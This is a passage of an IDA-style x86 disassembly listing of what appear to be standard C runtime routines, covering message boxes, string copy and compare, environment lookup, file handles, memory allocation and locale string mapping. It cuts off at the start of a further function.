arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_409CC8, ebx
		push	esi
		push	edi
		jnz	short loc_406744
		push	offset aUser32_dll ; "user32.dll"
		call	dword_408020
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40677A
		mov	esi, dword_408024
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_409CC8, eax
		jz	short loc_40677A
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_409CCC, eax
		call	esi
		mov	dword_409CD0, eax


loc_406744:				; CODE XREF: sub_4066F5+Bj
		mov	eax, dword_409CCC
		test	eax, eax
		jz	short loc_406763
		call	eax	; GetActiveWindow
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_406763
		mov	eax, dword_409CD0
		test	eax, eax
		jz	short loc_406763
		push	ebx
		call	eax	; GetLastActivePopup
		mov	ebx, eax


loc_406763:				; CODE XREF: sub_4066F5+56j
					; sub_4066F5+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_409CC8	; MessageBoxA


loc_406776:				; CODE XREF: sub_4066F5+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40677A:				; CODE XREF: sub_4066F5+1Cj
					; sub_4066F5+33j
		xor	eax, eax
		jmp	short loc_406776
sub_4066F5	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406780	proc near		; CODE XREF: sub_404E3C+C5p
					; sub_4052DA+184p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_406803
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_4067A4
		shr	ecx, 2
		jnz	short loc_406811
		jmp	short loc_4067C5
; ---------------------------------------------------------------------------


loc_4067A4:				; CODE XREF: sub_406780+1Bj
					; sub_406780+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_4067D2
		test	al, al
		jz	short loc_4067DA
		test	esi, 3
		jnz	short loc_4067A4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_406811


loc_4067C0:				; CODE XREF: sub_406780+8Fj
		and	ebx, 3
		jz	short loc_4067D2


loc_4067C5:				; CODE XREF: sub_406780+22j
					; sub_406780+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_4067FE
		dec	ebx
		jnz	short loc_4067C5


loc_4067D2:				; CODE XREF: sub_406780+2Bj
					; sub_406780+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4067DA:				; CODE XREF: sub_406780+2Fj
		test	edi, 3
		jz	short loc_4067F4


loc_4067E2:				; CODE XREF: sub_406780+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_406876
		test	edi, 3
		jnz	short loc_4067E2


loc_4067F4:				; CODE XREF: sub_406780+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_406867


loc_4067FB:				; CODE XREF: sub_406780+7Fj
					; sub_406780+F4j
		mov	[edi], al
		inc	edi


loc_4067FE:				; CODE XREF: sub_406780+4Dj
		dec	ebx
		jnz	short loc_4067FB
		pop	ebx
		pop	esi


loc_406803:				; CODE XREF: sub_406780+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_406809:				; CODE XREF: sub_406780+A9j
					; sub_406780+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_4067C0


loc_406811:				; CODE XREF: sub_406780+20j
					; sub_406780+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_406809
		test	dl, dl
		jz	short loc_40685B
		test	dh, dh
		jz	short loc_406851
		test	edx, 0FF0000h
		jz	short loc_406847
		test	edx, 0FF000000h
		jnz	short loc_406809
		mov	[edi], edx
		jmp	short loc_40685F
; ---------------------------------------------------------------------------


loc_406847:				; CODE XREF: sub_406780+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_40685F
; ---------------------------------------------------------------------------


loc_406851:				; CODE XREF: sub_406780+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_40685F
; ---------------------------------------------------------------------------


loc_40685B:				; CODE XREF: sub_406780+ADj
		xor	edx, edx
		mov	[edi], edx


loc_40685F:				; CODE XREF: sub_406780+C5j
					; sub_406780+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_406871


loc_406867:				; CODE XREF: sub_406780+79j
		xor	eax, eax


loc_406869:				; CODE XREF: sub_406780+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_406869


loc_406871:				; CODE XREF: sub_406780+E5j
		and	ebx, 3
		jnz	short loc_4067FB


loc_406876:				; CODE XREF: sub_406780+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_406780	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406880	proc near		; CODE XREF: sub_4052DA+13Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_4068CC


loc_406890:				; CODE XREF: sub_406880+3Cj
					; sub_406880+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_4068C4
		or	al, al
		jz	short loc_4068C0
		cmp	ah, [ecx+1]
		jnz	short loc_4068C4
		or	ah, ah
		jz	short loc_4068C0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_4068C4
		or	al, al
		jz	short loc_4068C0
		cmp	ah, [ecx+3]
		jnz	short loc_4068C4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_406890
		mov	edi, edi


loc_4068C0:				; CODE XREF: sub_406880+18j
					; sub_406880+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4068C4:				; CODE XREF: sub_406880+14j
					; sub_406880+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4068CC:				; CODE XREF: sub_406880+Ej
		test	edx, 1
		jz	short loc_4068E8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_4068C4
		inc	ecx
		or	al, al
		jz	short loc_4068C0
		test	edx, 2
		jz	short loc_406890


loc_4068E8:				; CODE XREF: sub_406880+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_4068C4
		or	al, al
		jz	short loc_4068C0
		cmp	ah, [ecx+1]
		jnz	short loc_4068C4
		or	ah, ah
		jz	short loc_4068C0
		add	ecx, 2
		jmp	short loc_406890
sub_406880	endp


; =============== S U B	R O U T	I N E =======================================



sub_406904	proc near		; CODE XREF: sub_4052DA+23p

arg_0		= dword	ptr  4

		cmp	dword_518684, 0
		push	ebx
		push	esi
		mov	esi, dword_409A98
		push	edi
		jz	short loc_40697B
		test	esi, esi
		jnz	short loc_406935
		cmp	dword_409AA0, esi
		jz	short loc_40697B
		call	sub_406F76
		test	eax, eax
		jnz	short loc_40697B
		mov	esi, dword_409A98
		test	esi, esi
		jz	short loc_40697B


loc_406935:				; CODE XREF: sub_406904+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_40697B
		push	ebx
		call	sub_405B90
		pop	ecx
		mov	edi, eax


loc_406946:				; CODE XREF: sub_406904+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40697B
		push	eax
		call	sub_405B90
		cmp	eax, edi
		pop	ecx
		jbe	short loc_40696E
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_40696E
		push	edi
		push	ebx
		push	eax
		call	sub_406F37
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_406973


loc_40696E:				; CODE XREF: sub_406904+51j
					; sub_406904+59j
		add	esi, 4
		jmp	short loc_406946
; ---------------------------------------------------------------------------


loc_406973:				; CODE XREF: sub_406904+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_40697D
; ---------------------------------------------------------------------------


loc_40697B:				; CODE XREF: sub_406904+10j
					; sub_406904+1Cj ...
		xor	eax, eax


loc_40697D:				; CODE XREF: sub_406904+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_406904	endp


; =============== S U B	R O U T	I N E =======================================



sub_406981	proc near		; CODE XREF: sub_405824+6Bp
					; sub_4058BE+160p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_409A74, ecx
		mov	eax, offset dword_4098F0


loc_406992:				; CODE XREF: sub_406981+1Ej
		cmp	ecx, [eax]
		jz	short loc_4069B6
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_409A58
		jl	short loc_406992
		cmp	ecx, 13h
		jb	short loc_4069C3
		cmp	ecx, 24h
		ja	short loc_4069C3
		mov	dword_409A70, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_4069B6:				; CODE XREF: sub_406981+13j
		mov	eax, dword_4098F4[edx*8]
		mov	dword_409A70, eax
		retn
; ---------------------------------------------------------------------------


loc_4069C3:				; CODE XREF: sub_406981+23j
					; sub_406981+28j
		cmp	ecx, 0BCh
		jb	short loc_4069DD
		cmp	ecx, 0CAh
		mov	dword_409A70, 8
		jbe	short locret_4069E7


loc_4069DD:				; CODE XREF: sub_406981+48j
		mov	dword_409A70, 16h

locret_4069E7:				; CODE XREF: sub_406981+5Aj
		retn
sub_406981	endp


; =============== S U B	R O U T	I N E =======================================



sub_4069E8	proc near		; CODE XREF: sub_407554+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_518660
		push	edi
		jnb	short loc_406A4B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:518560h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_406A4B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_406A4B
		cmp	dword_4090E4, 1
		jnz	short loc_406A41
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_406A38
		dec	ecx
		jz	short loc_406A33
		dec	ecx
		jnz	short loc_406A41
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_406A3B
; ---------------------------------------------------------------------------


loc_406A33:				; CODE XREF: sub_4069E8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_406A3B
; ---------------------------------------------------------------------------


loc_406A38:				; CODE XREF: sub_4069E8+3Ej
		push	eax
		push	0FFFFFFF6h


loc_406A3B:				; CODE XREF: sub_4069E8+49j
					; sub_4069E8+4Ej
		call	dword_40801C


loc_406A41:				; CODE XREF: sub_4069E8+38j
					; sub_4069E8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_406A5F
; ---------------------------------------------------------------------------


loc_406A4B:				; CODE XREF: sub_4069E8+Cj
					; sub_4069E8+2Aj ...
		and	dword_409A74, 0
		mov	dword_409A70, 9
		or	eax, 0FFFFFFFFh


loc_406A5F:				; CODE XREF: sub_4069E8+61j
		pop	edi
		pop	esi
		retn
sub_4069E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_406A62	proc near		; CODE XREF: sub_405824+2Dp
					; sub_40703A+25p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_518660
		jnb	short loc_406A8A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_518560[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_406A8A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_406A8A:				; CODE XREF: sub_406A62+Aj
					; sub_406A62+23j
		and	dword_409A74, 0
		mov	dword_409A70, 9
		or	eax, 0FFFFFFFFh
		retn
sub_406A62	endp


; =============== S U B	R O U T	I N E =======================================



sub_406A9F	proc near		; CODE XREF: sub_405AD5+22p
					; sub_405AD5+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_406ABF
		test	esi, esi
		jnz	short loc_406AB9
		push	1
		pop	esi


loc_406AB9:				; CODE XREF: sub_406A9F+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_406ABF:				; CODE XREF: sub_406A9F+11j
					; sub_406A9F+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_406AF0
		cmp	ebx, dword_4090EC
		ja	short loc_406ADB
		push	ebx
		call	sub_40340A
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_406B06


loc_406ADB:				; CODE XREF: sub_406A9F+2Dj
		push	esi
		push	8
		push	dword_51867C
		call	dword_40806C
		mov	edi, eax
		test	edi, edi
		jnz	short loc_406B12


loc_406AF0:				; CODE XREF: sub_406A9F+25j
		cmp	dword_409AE4, 0
		jz	short loc_406B12
		push	esi
		call	sub_40301F
		test	eax, eax
		pop	ecx
		jz	short loc_406B18
		jmp	short loc_406ABF
; ---------------------------------------------------------------------------


loc_406B06:				; CODE XREF: sub_406A9F+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_406C90
		add	esp, 0Ch


loc_406B12:				; CODE XREF: sub_406A9F+4Fj
					; sub_406A9F+58j
		mov	eax, edi


loc_406B14:				; CODE XREF: sub_406A9F+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_406B18:				; CODE XREF: sub_406A9F+63j
		xor	eax, eax
		jmp	short loc_406B14
sub_406A9F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405B7A


loc_406B1C:				; CODE XREF: sub_405B7A+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_518540, esi
		jle	short loc_406B6F


loc_406B2B:				; CODE XREF: sub_405B7A+FF3j
		mov	eax, dword_517528
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_406B66
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_406B4A
		push	eax
		call	sub_406FE4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_406B4A
		inc	edi


loc_406B4A:				; CODE XREF: sub_405B7A+FC1j
					; sub_405B7A+FCDj
		cmp	esi, 14h
		jl	short loc_406B66
		mov	eax, dword_517528
		push	dword ptr [eax+esi*4]
		call	sub_402B18
		mov	eax, dword_517528
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_406B66:				; CODE XREF: sub_405B7A+FBBj
					; sub_405B7A+FD3j
		inc	esi
		cmp	esi, dword_518540
		jl	short loc_406B2B


loc_406B6F:				; CODE XREF: sub_405B7A+FAFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_405B7A

; =============== S U B	R O U T	I N E =======================================



sub_406B74	proc near		; CODE XREF: sub_406C14+2Dp
					; sub_406C14+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_406B86
		push	esi
		call	sub_406C14
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_406B86:				; CODE XREF: sub_406B74+7j
		push	esi
		call	sub_406BAF
		test	eax, eax
		pop	ecx
		jz	short loc_406B96
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_406B96:				; CODE XREF: sub_406B74+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_406BAB
		push	dword ptr [esi+10h]
		call	sub_40703A
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_406BAB:				; CODE XREF: sub_406B74+26j
		xor	eax, eax
		pop	esi
		retn
sub_406B74	endp


; =============== S U B	R O U T	I N E =======================================



sub_406BAF	proc near		; CODE XREF: sub_406B74+13p
					; sub_406FE4+1Ap

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_406BFC
		test	ax, 108h
		jz	short loc_406BFC
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_406BFC
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4058BE
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_406BF5
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_406BFC
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_406BFC
; ---------------------------------------------------------------------------


loc_406BF5:				; CODE XREF: sub_406BAF+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_406BFC:				; CODE XREF: sub_406BAF+14j
					; sub_406BAF+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_406BAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_406C0B	proc near		; CODE XREF: sub_405B7Ap
		push	1
		call	sub_406C14
		pop	ecx
		retn
sub_406C0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_406C14	proc near		; CODE XREF: sub_406B74+Ap
					; sub_406C0B+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_518540, esi
		jle	short loc_406C72


loc_406C25:				; CODE XREF: sub_406C14+5Cj
		mov	eax, dword_517528
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_406C69
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_406C69
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_406C4F
		push	eax
		call	sub_406B74
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_406C69
		inc	ebx
		jmp	short loc_406C69
; ---------------------------------------------------------------------------


loc_406C4F:				; CODE XREF: sub_406C14+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_406C69
		test	cl, 2
		jz	short loc_406C69
		push	eax
		call	sub_406B74
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_406C69
		or	edi, eax


loc_406C69:				; CODE XREF: sub_406C14+1Bj
					; sub_406C14+23j ...
		inc	esi
		cmp	esi, dword_518540
		jl	short loc_406C25


loc_406C72:				; CODE XREF: sub_406C14+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_406C7D
		mov	eax, edi


loc_406C7D:				; CODE XREF: sub_406C14+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_406C14	endp


; =============== S U B	R O U T	I N E =======================================



sub_406C81	proc near		; CODE XREF: sub_403D8C+3AAp
					; sub_403D8C+3CBp ...
		push	2
		call	sub_402FD6
		pop	ecx
		retn
sub_406C81	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406C90	proc near		; CODE XREF: sub_405D65+EFp
					; sub_406A9F+6Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_406CE3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_406CD7
		neg	ecx
		and	ecx, 3
		jz	short loc_406CB9
		sub	edx, ecx


loc_406CB3:				; CODE XREF: sub_406C90+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_406CB3


loc_406CB9:				; CODE XREF: sub_406C90+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_406CD7
		rep stosd
		test	edx, edx
		jz	short loc_406CDD


loc_406CD7:				; CODE XREF: sub_406C90+18j
					; sub_406C90+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_406CD7


loc_406CDD:				; CODE XREF: sub_406C90+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_406CE3:				; CODE XREF: sub_406C90+Aj
		mov	eax, [esp+arg_0]
		retn
sub_406C90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CE8	proc near		; CODE XREF: sub_40612F+BEp
					; sub_40612F+E6p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_408540
		push	offset sub_402E08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_409CF4, edi
		jnz	short loc_406D5E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4084F0
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_408014
		test	eax, eax
		jz	short loc_406D3C
		mov	dword_409CF4, ebx
		jmp	short loc_406D5E
; ---------------------------------------------------------------------------


loc_406D3C:				; CODE XREF: sub_406CE8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4084EC
		push	esi
		push	edi
		call	dword_408018
		test	eax, eax
		jz	loc_406E76
		mov	dword_409CF4, 2


loc_406D5E:				; CODE XREF: sub_406CE8+2Ej
					; sub_406CE8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_406D73
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_406F0C
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_406D73:				; CODE XREF: sub_406CE8+79j
		mov	eax, dword_409CF4
		cmp	eax, 2
		jnz	short loc_406D9A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_408018
		jmp	loc_406E78
; ---------------------------------------------------------------------------


loc_406D9A:				; CODE XREF: sub_406CE8+93j
		cmp	eax, 1
		jnz	loc_406E76
		cmp	[ebp+arg_18], edi
		jnz	short loc_406DB0
		mov	eax, dword_409CEC
		mov	[ebp+arg_18], eax


loc_406DB0:				; CODE XREF: sub_406CE8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_40803C
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_406E76
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_402CE0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_406E0B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_406E0B:				; CODE XREF: sub_406CE8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_406E76
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_40803C
		test	eax, eax
		jz	short loc_406E76
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_408014
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_406E76
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_406E8A
		cmp	[ebp+arg_14], edi
		jz	loc_406F05
		cmp	esi, [ebp+arg_14]
		jg	short loc_406E76
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_408014
		test	eax, eax
		jnz	loc_406F05


loc_406E76:				; CODE XREF: sub_406CE8+66j
					; sub_406CE8+B5j ...
		xor	eax, eax


loc_406E78:				; CODE XREF: sub_406CE8+ADj
					; sub_406CE8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_406E8A:				; CODE XREF: sub_406CE8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_402CE0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_406EBE
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_406EBE:				; CODE XREF: sub_406CE8+1C2j
		cmp	ebx, edi
		jz	short loc_406E76
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_408014
		test	eax, eax
		jz	short loc_406E76
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_406EE5
		push	edi
		push	edi
		jmp	short loc_406EEB
; ---------------------------------------------------------------------------


loc_406EE5:				; CODE XREF: sub_406CE8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_406EEB:				; CODE XREF: sub_406CE8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_4080C0
		mov	esi, eax
		cmp	esi, edi
		jz	loc_406E76


loc_406F05:				; CODE XREF: sub_406CE8+165j
					; sub_406CE8+188j
		mov	eax, esi
		jmp	loc_406E78
sub_406CE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_406F0C	proc near		; CODE XREF: sub_406CE8+81p
					; sub_407091+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_406F29


loc_406F1C:				; CODE XREF: sub_406F0C+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_406F29
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_406F1C


loc_406F29:				; CODE XREF: sub_406F0C+Ej
					; sub_406F0C+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_406F34
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_406F34:				; CODE XREF: sub_406F0C+21j
		mov	eax, edx
		retn
sub_406F0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406F37	proc near		; CODE XREF: sub_406904+5Ep
					; sub_407495+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_406F44
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_406F44:				; CODE XREF: sub_406F37+7j
		push	dword_5172FC
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_517524
		call	sub_407091
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_406F71
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_406F71:				; CODE XREF: sub_406F37+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_406F37	endp


; =============== S U B	R O U T	I N E =======================================



sub_406F76	proc near		; CODE XREF: sub_406904+1Ep
					; sub_40730E+5Bp

